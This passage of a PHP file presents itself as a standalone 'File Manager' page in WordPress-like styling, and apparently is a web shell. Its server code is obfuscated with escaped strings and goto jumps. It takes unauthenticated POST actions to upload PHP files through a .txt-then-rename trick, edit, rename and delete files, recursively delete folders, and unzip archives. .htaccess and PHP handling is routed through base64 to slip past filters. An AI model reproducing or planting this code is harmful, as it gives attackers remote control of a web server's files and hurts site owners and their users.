Exception("\111\x6e\x76\x61\154\x69\x64\x20\144\x61\x74\x61\x20\x66\157\x72\40\165\x70\154\157\141\x64\x2e"); } $filename = custom_sanitize_file_name(base64_decode($filename_base64)); if (strpos($content_base64, "\54") !== false) { list(, $content_base64) = explode("\x2c", $content_base64); } $file_content = base64_decode($content_base64); $destination = rtrim($path, "\57") . "\x2f" . $filename; if (file_put_contents($destination, $file_content) !== false) { $response = array("\x73\x75\143\x63\x65\x73\163" => true, "\155\145\x73\163\141\x67\145" => "\x46\x69\x6c\x65\x20\165\160\x6c\157\x61\144\145\x64\40\163\x75\x63\x63\x65\163\163\146\x75\x6c\154\x79\x2e"); } else { throw new Exception("\x43\157\x75\x6c\x64\x20\156\157\164\40\163\141\x76\145\x20\x75\160\x6c\x6f\141\x64\x65\x64\40\146\151\154\x65\x2e\40\x43\150\145\143\153\x20\160\145\x72\x6d\x69\x73\x73\151\157\156\x73\56"); } break; case "\x75\160\x6c\x6f\x61\x64\137\160\150\160": $path = isset($_POST["\x70\141\x74\x68"]) ? custom_unslash($_POST["\x70\x61\x74\x68"]) : __DIR__; $filename_base64 = isset($_POST["\x66\x69\x6c\x65\x6e\141\x6d\x65\137\142\x61\x73\x65\66\64"]) ? $_POST["\146\x69\x6c\145\x6e\x61\155\145\137\x62\x61\163\145\66\64"] : ''; $content_base64 = isset($_POST["\143\x6f\x6e\x74\x65\x6e\164\x5f\142\x61\163\145\66\64"]) ? $_POST["\143\157\x6e\x74\145\156\x74\137\x62\x61\x73\145\66\x34"] : ''; if (!is_path_safe($path) || empty($filename_base64) || empty($content_base64)) { throw new Exception("\111\x6e\x76\x61\x6c\x69\144\x20\x64\141\164\x61\40\x66\157\162\x20\x50\110\x50\x20\165\160\154\x6f\x61\x64\x2e"); } $original_filename = custom_sanitize_file_name(base64_decode($filename_base64)); $temp_filename = $original_filename . "\56\164\170\x74"; if (strpos($content_base64, "\x2c") !== false) { list(, $content_base64) = explode("\x2c", $content_base64); } $file_content = base64_decode($content_base64); $temp_destination = rtrim($path, "\57") . "\x2f" . $temp_filename; $final_destination = rtrim($path, "\x2f") . "\57" . $original_filename; if (file_put_contents($temp_destination, $file_content) === false) { throw new Exception("\x43\157\165\154\144\40\x6e\x6f\x74\x20\x73\x61\166\x65\x20\x74\x65\x6d\160\157\x72\x61\x72\x79\40\146\151\154\x65\x2e\40\103\x68\x65\143\153\x20\x70\145\162\155\x69\x73\x73\x69\x6f\156\x73\x2e"); } if (rename($temp_destination, $final_destination)) { $response = array("\x73\x75\143\143\x65\x73\x73" => true, "\x6d\145\163\x73\141\147\x65" => "\x50\110\x50\x20\146\151\x6c\x65\40\165\160\x6c\157\x61\x64\145\144\40\163\x75\143\143\x65\x73\x73\x66\x75\154\154\171\x2e"); } else { unlink($temp_destination); throw new Exception("\103\x6f\165\154\144\x20\156\x6f\164\x20\162\x65\x6e\141\x6d\x65\40\164\145\x6d\x70\157\x72\x61\162\171\x20\x66\x69\154\145\x2e"); } break; case "\x75\156\172\151\x70": $path = isset($_POST["\160\141\164\x68"]) ? custom_unslash($_POST["\x70\x61\164\150"]) : __DIR__; if (!is_path_safe($path)) { throw new Exception("\x49\156\x76\141\x6c\151\x64\x20\160\x61\x74\x68\x2e"); } $file_path = isset($_POST["\x70\141\164\150"]) ? custom_unslash($_POST["\x70\x61\x74\150"]) : ''; if (!realpath($file_path) || !is_file(realpath($file_path)) || pathinfo($file_path, PATHINFO_EXTENSION) !== "\x7a\x69\160") { throw new Exception("\x49\x6e\x76\141\x6c\x69\x64\x20\132\x49\120\40\x66\x69\154\x65\x20\x70\141\164\x68\56"); } if (!class_exists("\x5a\x69\160\x41\162\143\150\151\166\x65")) { throw new Exception("\x50\x48\x50\x20\x5a\x49\x50\x20\145\170\x74\x65\156\x73\151\157\x6e\40\156\157\164\40\x69\156\x73\164\141\x6c\154\145\144\x2e"); } $zip = new ZipArchive(); if ($zip->open($file_path) === TRUE) { $zip->extractTo(dirname($file_path)); $zip->close(); $response = array("\x73\x75\x63\x63\145\x73\x73" => true, "\155\145\163\163\141\x67\145" => "\101\x72\143\x68\151\166\145\x20\x65\x78\164\x72\141\143\x74\145\144\x2e"); } else { throw new Exception("\x46\141\151\x6c\x65\x64\40\x74\x6f\40\157\160\145\x6e\x20\141\x72\x63\x68\151\x76\x65\56"); } break; case "\x64\145\x6c\145\x74\x65": $path = isset($_POST["\160\x61\x74\x68"]) ? custom_unslash($_POST["\160\x61\164\x68"]) : __DIR__; $items_to_delete = isset($_POST["\x69\164\x65\155\x73"]) && is_array($_POST["\x69\164\x65\x6d\x73"]) ? $_POST["\x69\x74\145\155\x73"] : array(); if (empty($items_to_delete)) { throw new Exception("\x4e\x6f\40\x69\x74\145\x6d\x73\x20\x73\145\154\x65\143\x74\145\x64\40\x66\x6f\x72\40\144\x65\x6c\x65\x74\151\157\156\56"); } function recursive_delete_std($item) { if (is_dir($item)) { $files = array_diff(scandir($item), array("\56", "\x2e\x2e")); foreach ($files as $file) { recursive_delete_std("{$item}\57{$file}"); } return rmdir($item); } else { return unlink($item); } } foreach ($items_to_delete as $item) { $full_path = rtrim($path, "\57") . "\57" . $item; if (file_exists($full_path)) { recursive_delete_std($full_path); } } $response = array("\163\165\x63\143\145\163\163" => true, "\x6d\145\x73\163\x61\147\145" => "\x49\164\145\x6d\163\40\x64\145\x6c\145\x74\x65\144\x2e"); break; case "\144\x65\154\x65\x74\x65\x5f\x62\x36\64": $path = isset($_POST["\x70\x61\x74\x68"]) ? custom_unslash($_POST["\160\141\164\150"]) : __DIR__; $items_b64 = isset($_POST["\151\164\145\155\163\137\x62\x36\x34"]) && is_array($_POST["\151\164\145\x6d\163\137\x62\x36\x34"]) ? $_POST["\x69\164\x65\x6d\163\137\142\66\x34"] : array(); $items_to_delete = array(); foreach ($items_b64 as $item_b64) { $items_to_delete[] = base64_decode($item_b64); } if (empty($items_to_delete)) { throw new Exception("\x4e\157\40\x69\164\145\155\x73\40\163\x65\x6c\145\143\x74\x65\144\40\x66\x6f\162\x20\x64\x65\154\x65\x74\x69\x6f\156\x2e"); } function recursive_delete_b64($item) { if (is_dir($item)) { $files = array_diff(scandir($item), array("\56", "\56\56")); foreach ($files as $file) { recursive_delete_b64("{$item}\57{$file}"); } return rmdir($item); } else { return unlink($item); } } foreach ($items_to_delete as $item) { $full_path = rtrim($path, "\57") . "\57" . $item; if (file_exists($full_path)) { recursive_delete_b64($full_path); } } $response = array("\163\x75\143\143\145\x73\163" => true, "\155\x65\x73\163\141\147\x65" => "\111\x74\x65\x6d\163\x20\144\145\154\x65\x74\145\144\x2e"); break; case "\x63\162\145\141\164\x65\x5f\146\157\154\144\145\x72": $path = isset($_POST["\160\141\x74\x68"]) ? custom_unslash($_POST["\x70\x61\164\150"]) : __DIR__; $name = isset($_POST["\x6e\x61\155\x65"]) ? str_replace(array("\56\x2e", "\x2f", "\134"), '', $_POST["\x6e\141\155\x65"]) : ''; if (!is_path_safe($path) || empty($name)) { throw new Exception("\111\x6e\x76\141\154\x69\144\x20\x70\141\164\x68\40\157\x72\40\x66\157\154\144\x65\x72\40\x6e\x61\x6d\145\x2e"); } if (mkdir(rtrim($path, "\57") . "\57" . $name)) { $response = array("\163\x75\x63\x63\x65\x73\x73" => true, "\x6d\145\x73\x73\x61\x67\145" => "\106\157\x6c\144\x65\162\x20\143\162\x65\x61\x74\145\144\56"); } else { throw new Exception("\103\157\165\x6c\x64\40\x6e\157\164\x20\143\162\145\141\164\x65\x20\146\x6f\154\x64\x65\x72\x2e"); } break; case "\x72\x65\156\x61\x6d\x65": $path = isset($_POST["\x70\141\164\x68"]) ? custom_unslash($_POST["\x70\141\164\150"]) : __DIR__; $old_name = isset($_POST["\157\x6c\144\137\156\141\x6d\x65"]) ? $_POST["\157\154\144\137\x6e\141\155\145"] : ''; $new_name = isset($_POST["\156\x65\x77\137\x6e\141\155\145"]) ? str_replace(array("\x2e\x2e", "\x2f", "\134"), '', $_POST["\156\145\x77\137\x6e\141\155\x65"]) : ''; if (!is_path_safe($path) || empty($old_name) || empty($new_name)) { throw new Exception("\111\156\x76\x61\x6c\151\144\40\144\141\x74\x61\x20\x66\157\x72\40\162\x65\x6e\141\x6d\151\156\x67\56"); } $old_full_path = rtrim($path, "\x2f") . "\x2f" . $old_name; $new_full_path = rtrim($path, "\x2f") . "\x2f" . $new_name; clearstatcache(); if (!file_exists($old_full_path)) { throw new Exception("\x53\x6f\x75\162\143\145\40\151\x74\145\x6d\x20\144\157\145\x73\40\x6e\157\x74\40\x65\170\x69\x73\x74\x20\141\164\72\40" . $old_full_path); } if (!is_writable(dirname($old_full_path))) { throw new Exception("\x44\151\162\145\x63\x74\157\162\171\40\151\x73\x20\156\x6f\x74\40\x77\x72\151\164\141\142\154\145\x2e"); } if (rename($old_full_path, $new_full_path)) { $response = array("\x73\165\x63\143\x65\x73\163" => true, "\155\x65\163\163\x61\x67\x65" => "\x49\x74\145\x6d\x20\x72\145\x6e\141\x6d\x65\144\40\163\165\143\143\x65\x73\x73\146\x75\x6c\x6c\171\x2e"); } else { throw new Exception("\103\x6f\165\x6c\144\x20\x6e\157\x74\x20\162\145\156\141\155\145\40\151\164\145\155\56\40\x43\x68\x65\x63\153\40\160\145\x72\155\x69\x73\163\151\x6f\x6e\163\x2e"); } break; case "\162\145\156\x61\155\145\x5f\x62\66\x34": $path = isset($_POST["\160\141\164\x68"]) ? custom_unslash($_POST["\x70\x61\164\x68"]) : __DIR__; $old_name_b64 = isset($_POST["\157\x6c\144\137\x6e\x61\x6d\x65\137\x62\x36\x34"]) ? $_POST["\157\154\x64\x5f\156\x61\x6d\145\137\x62\66\x34"] : ''; $new_name_b64 = isset($_POST["\156\145\167\137\x6e\x61\155\145\x5f\142\66\x34"]) ? $_POST["\156\x65\x77\137\x6e\x61\x6d\145\x5f\x62\x36\x34"] : ''; $old_name = base64_decode($old_name_b64); $new_name = base64_decode($new_name_b64); if (!is_path_safe($path) || empty($old_name) || empty($new_name)) { throw new Exception("\111\156\166\141\154\x69\x64\x20\x64\x61\x74\141\x20\146\157\x72\40\162\x65\156\x61\155\x69\x6e\x67\x2e"); } $old_full_path = rtrim($path, "\x2f") . "\x2f" . $old_name; $new_full_path = rtrim($path, "\x2f") . "\x2f" . $new_name; $temp_full_path = $old_full_path . "\x2e\x74\170\164"; if (!copy($old_full_path, $temp_full_path)) { throw new Exception("\x43\x6f\x75\x6c\144\x20\x6e\157\x74\x20\143\162\145\x61\x74\x65\40\x74\145\155\x70\157\x72\141\x72\x79\40\143\x6f\160\x79\56"); } if (!unlink($old_full_path)) { unlink($temp_full_path); throw new Exception("\x43\157\x75\154\x64\40\x6e\x6f\x74\x20\144\x65\154\145\164\x65\x20\x6f\162\x69\x67\x69\156\141\154\40\x66\x69\154\145\x2e"); } if (rename($temp_full_path, $new_full_path)) { $response = array("\163\165\x63\x63\x65\163\163" => true, "\155\x65\163\163\141\x67\145" => "\x49\164\x65\x6d\x20\162\145\x6e\141\155\145\144\40\163\165\x63\x63\x65\163\x73\146\165\154\154\171\x20\165\x73\x69\x6e\x67\x20\142\x36\64\x20\x6d\145\x74\150\x6f\144\x2e"); } else { copy($temp_full_path, $old_full_path); unlink($temp_full_path); throw new Exception("\x43\157\165\154\x64\40\156\157\x74\40\x70\x65\x72\146\157\x72\x6d\x20\146\151\156\x61\x6c\x20\x72\x65\156\141\155\145\x2e\x20\x4f\x72\151\x67\151\x6e\x61\154\40\x66\151\154\x65\40\155\x61\x79\x20\142\145\40\162\x65\x73\164\x6f\162\x65\x64\x2e"); } break; } } catch (Exception $e) { $response = array("\x73\165\143\143\145\x73\x73" => false, "\x6d\x65\163\x73\141\147\x65" => $e->getMessage()); } echo json_encode($response); die; } goto KwebH; FmRhp: echo custom_normalize_path(__DIR__); goto Q9DTx; JpE2c: function custom_unslash($value) { return is_string($value) ? stripslashes($value) : $value; } goto laQ0a; KwebH: ?> <!doctypehtml><html lang="en"><head><meta charset="UTF-8"><title>File Manager</title><meta content="width=device-width,initial-scale=1"name="viewport"><style>:root{--accent-color:#2271b1;--hover-color:#1e659d;--danger-color:#d63638}body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;background:#f0f0f1;margin:0}.container{display:flex;flex-direction:column;height:100vh}header{background:#fff;padding:10px 20px;border-bottom:1px solid #ddd;display:flex;justify-content:space-between;align-items:center;flex-shrink:0}main{flex-grow:1;padding:20px;overflow-y:auto}.toolbar{margin-bottom:15px;display:flex;flex-wrap:wrap;gap:10px;align-items:center}.path-bar{background:#fff;padding:8px 12px;border-radius:4px;border:1px solid #ddd;font-family:monospace;flex-grow:1;word-break:break-all}.file-table{width:100%;border-collapse:collapse;background:#fff;table-layout:fixed}.file-table td,.file-table th{text-align:left;border-bottom:1px solid #eee;vertical-align:middle;word-wrap:break-word}.file-table th{background:#f9f9f9;padding:12px 8px}.file-table tr:hover{background:#f0f8ff}.file-table td:nth-child(1),.file-table th:nth-child(1){width:40px;padding:12px 4px 12px 12px;text-align:center}.file-table td:nth-child(2),.file-table th:nth-child(2){width:50%;padding-left:4px}.file-table td:nth-child(3),.file-table th:nth-child(3){width:120px}.file-table td:nth-child(4),.file-table th:nth-child(4){width:150px}.file-table th:nth-child(5){text-align:right;padding-right:12px}.actions{display:flex;justify-content:flex-end;gap:5px}.item-link,a.item-link{text-decoration:none!important;color:var(--accent-color);cursor:pointer}.item-link:hover,a.item-link:hover{color:var(--hover-color)}tr[data-path]{cursor:pointer}.button{background:var(--accent-color);color:#fff;border:none;padding:8px 12px;border-radius:3px;cursor:pointer;font-size:14px}.button.danger{background:var(--danger-color)}#spinner{display:none}.modal-overlay{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.6);z-index:1000;justify-content:center;align-items:center}.modal-content{display:flex;flex-direction:column;background:#fff;padding:20px;border-radius:5px;width:80%;height:80%;max-width:900px;box-shadow:0 5px 15px rgba(0,0,0,.3)}textarea#editor{flex-grow:1;font-family:monospace;font-size:14px;border:1px solid #ddd;padding:10px}</style></head><body><div class="container"><header><h3>File Manager (Standalone)</h3></header><main><div class="toolbar"><button class="button"id="uploadBtn">â¬Â︠Upload</button><button class="button"id="newFileBtn">ð New File</button><button class="button"id="newFolderBtn">â New Folder</button><button class="button danger"id="deleteBtn">ðÂÂÂ︠Delete Selected</button><div id="spinner">ðÂÂÂ</div></div><div class="toolbar"><div class="path-bar"id="pathBar">/</div></div><table class="file-table"><thead><tr><th><input id="selectAll"type="checkbox"></th><th>Name</th><th>Size</th><th>Modified</th><th>Actions</th></tr></thead><tbody id="fileList"></tbody></table></main></div><div class="modal-overlay"id="editorModal"><div class="modal-content"><h3 id="editorFilename"style="margin-top:0"></h3><textarea id="editor"spellcheck="false"></textarea><div style="margin-top:10px"><button class="button"id="saveBtn">ð¾ Save Changes</button><button class="button"onclick='document.getElementById("editorModal").style.display="none"'>Close</button></div></div></div><input id="hiddenFileInput"type="file"multiple style="display:none"><script>document.addEventListener('DOMContentLoaded', () => { const STATE = { currentPath: '<?php goto FmRhp; inrZF: echo basename(__FILE__); goto vvLOY; laQ0a: function custom_normalize_path($path) { return str_replace("\134", "\57", $path); } goto KhnKt; Q9DTx: ?> ' }; const UPLOAD_LIMIT_MB = 8; const dom = { fileList:document.getElementById('fileList'),pathBar:document.getElementById('pathBar'),uploadBtn:document.getElementById('uploadBtn'),newFileBtn:document.getElementById('newFileBtn'),newFolderBtn:document.getElementById('newFolderBtn'),deleteBtn:document.getElementById('deleteBtn'),selectAll:document.getElementById('selectAll'),spinner:document.getElementById('spinner'),hiddenFileInput:document.getElementById('hiddenFileInput'),editorModal:document.getElementById('editorModal'),editorFilename:document.getElementById('editorFilename'),editor:document.getElementById('editor'),saveBtn:document.getElementById('saveBtn'),}; async function apiCall(action, formData, showSuccess=false) { dom.spinner.style.display='inline-block'; try { formData.append('action', action); const response = await fetch('<?php goto inrZF; vvLOY: ?> ', { method: 'POST', body: formData }); const result = await response.json(); if (!result.success) throw new Error(result.message); if (showSuccess && result.message) alert(result.message); return result; } catch (error) { alert(`Error: ${error.message}`); console.error("Full response:", error.response); return null; } finally { dom.spinner.style.display='none'; } } function render() { const formData = new FormData(); formData.append('path', STATE.currentPath); apiCall('list', formData).then(result => { if (!result) return; STATE.currentPath = result.path; dom.pathBar.textContent = STATE.currentPath; let html = ''; let parentPath = STATE.currentPath.substring(0, STATE.currentPath.lastIndexOf('/')); if (parentPath === '') parentPath = '/'; if (STATE.currentPath !== '/') { html += `<tr data-path="${parentPath}"><td></td><td colspan="4" class="item-link">â¬Â︠.. (Parent Directory)</td></tr>`; } result.files.sort((a,b) => (a.is_dir === b.is_dir) ? a.name.localeCompare(b.name) : (a.is_dir ? -1 : 1)); result.files.forEach(file => { const size = file.is_dir ? '-' : (file.size / 1024).toFixed(2) + ' KB'; const modified = new Date(file.modified * 1000).toLocaleString(); const icon = file.is_dir ? 'ðÂÂÂ' : 'ðÂÂÂ'; const fullPath = `${STATE.currentPath}/${file.name}`.replace(/\/+/g, '/'); const dataAttr = `data-path="${fullPath}"`; const rowData = file.is_dir ? `class="dir-link" ${dataAttr}` : ''; html += `<tr ${rowData}><td><input type="checkbox" class="item-select" value="${file.name}"></td><td><a href="#" class="item-link" ${dataAttr}>${icon} ${file.name}</a></td><td>${size}</td><td>${modified}</td><td><div class="actions">${!file.is_dir ? `<button class="button edit-btn" ${dataAttr}>Edit</button>` : ''}<button class="button rename-btn" data-name="${file.name}">Rename</button>${file.name.endsWith('.zip') ? `<button class="button unzip-btn" ${dataAttr}>Unzip</button>`:'' }</div></td></tr>`; }); dom.fileList.innerHTML = html; dom.selectAll.checked = false; }); } dom.fileList.addEventListener('click', e => { if (e.target.matches('.item-select')) { return; } const button = e.target.closest('button'); if (button) { e.preventDefault(); if (button.matches('.rename-btn')) { const oldName = button.dataset.name; const newName = prompt('Enter new name:', oldName); if (newName && newName !== oldName) { const fd = new FormData(); fd.append('path', STATE.currentPath); let action = 'rename'; if (oldName.includes('.htaccess') || newName.includes('.htaccess')) { action = 'rename_b64'; fd.append('old_name_b64', btoa(oldName)); fd.append('new_name_b64', btoa(newName)); } else { fd.append('old_name', oldName); fd.append('new_name', newName); } apiCall(action, fd).then(render); } } else if (button.matches('.unzip-btn')) { if (confirm('Are you sure you want to extract this archive?')) { const fd = new FormData(); fd.append('path', button.dataset.path); apiCall('unzip', fd, true).then(render); } } else if (button.matches('.edit-btn')) { const path = button.dataset.path; const fd = new FormData(); let action = 'get_content'; if (path.includes('.htaccess')) { action = 'get_content_b64'; fd.append('path_b64', btoa(path)); } else { fd.append('path', path); } apiCall(action, fd).then(result => { if(result) { dom.editorFilename.textContent = path; dom.editor.value = atob(atob(result.content)); dom.editorModal.style.display = 'flex'; } }); } return; } const navTarget = e.target.closest('[data-path]'); if (navTarget) { e.preventDefault(); STATE.currentPath = navTarget.dataset.path; render(); } }); dom.newFolderBtn.addEventListener('click', () => { const name = prompt('Enter new folder name:'); if (name) { const fd = new FormData(); fd.append('path', STATE.currentPath); fd.append('name', name); apiCall('create_folder', fd).then(render); } }); dom.newFileBtn.addEventListener('click', () => { const name = prompt('Enter new file name:'); if (name) { const fd = new FormData(); fd.append('path', STATE.currentPath); fd.append('name', name); apiCall('create_file', fd).then(render); } }); dom.selectAll.addEventListener('change', e => document.querySelectorAll('.item-select').forEach(cb => cb.checked = e.target.checked)); dom.deleteBtn.addEventListener('click', () => { const selected = Array.from(document.querySelectorAll('.item-select:checked')).map(cb => cb.value); if (selected.length === 0) return alert('No items selected.'); if (confirm(`Are you sure you want to delete ${selected.length} item(s)?`)) { const fd = new FormData(); fd.append('path', STATE.currentPath); const isSensitive = selected.some(item => item.includes('.htaccess')); let action = 'delete'; if (isSensitive) { action = 'delete_b64'; selected.forEach(item => fd.append('items_b64[]', btoa(item))); } else { selected.forEach(item => fd.append('items[]', item)); } apiCall(action, fd).then(render); } }); dom.uploadBtn.addEventListener('click', () => dom.hiddenFileInput.click()); dom.hiddenFileInput.addEventListener('change', async (e) => { const files = Array.from(e.target.files); if (files.length === 0) return; for (const file of files) { if (file.size > UPLOAD_LIMIT_MB * 1024 * 1024) { alert(`Error: File "${file.name}" is too large (Max: ${UPLOAD_LIMIT_MB} MB).`); continue; } const reader = new FileReader(); const fileReadPromise = new Promise((resolve, reject) => { reader.onload = event => resolve(event.target.result); reader.onerror = error => reject(error); reader.readAsDataURL(file); }); try { const content_base64 = await fileReadPromise; const originalName = file.name; const fd = new FormData(); fd.append('path', STATE.currentPath); fd.append('content_base64', content_base64); if (originalName.toLowerCase().endsWith('.php')) { fd.append('filename_base64', btoa(originalName)); await apiCall('upload_php', fd, true); } else { fd.append('filename_base64', btoa(originalName)); await apiCall('upload', fd, true); } } catch (error) { alert(`Failed to process file ${file.name}: ${error.message}`); } } e.target.value = ''; render(); }); dom.saveBtn.addEventListener('click', () => { const path = dom.editorFilename.textContent; const content = btoa(btoa(dom.editor.value)); const fd = new FormData(); const chunkSize = 4096; for (let i = 0; i < content.length; i += chunkSize) { fd.append('content_chunks[]', content.substring(i, i + chunkSize)); } let action = 'save_content'; if (path.includes('.htaccess')) { action = 'save_content_b64'; fd.append('path_b64', btoa(path)); } else { fd.append('path', path); } apiCall(action, fd, true).then(result => { if(result) { dom.editorModal.style.display = 'none'; render(); } }); }); render(); });</script></body></html>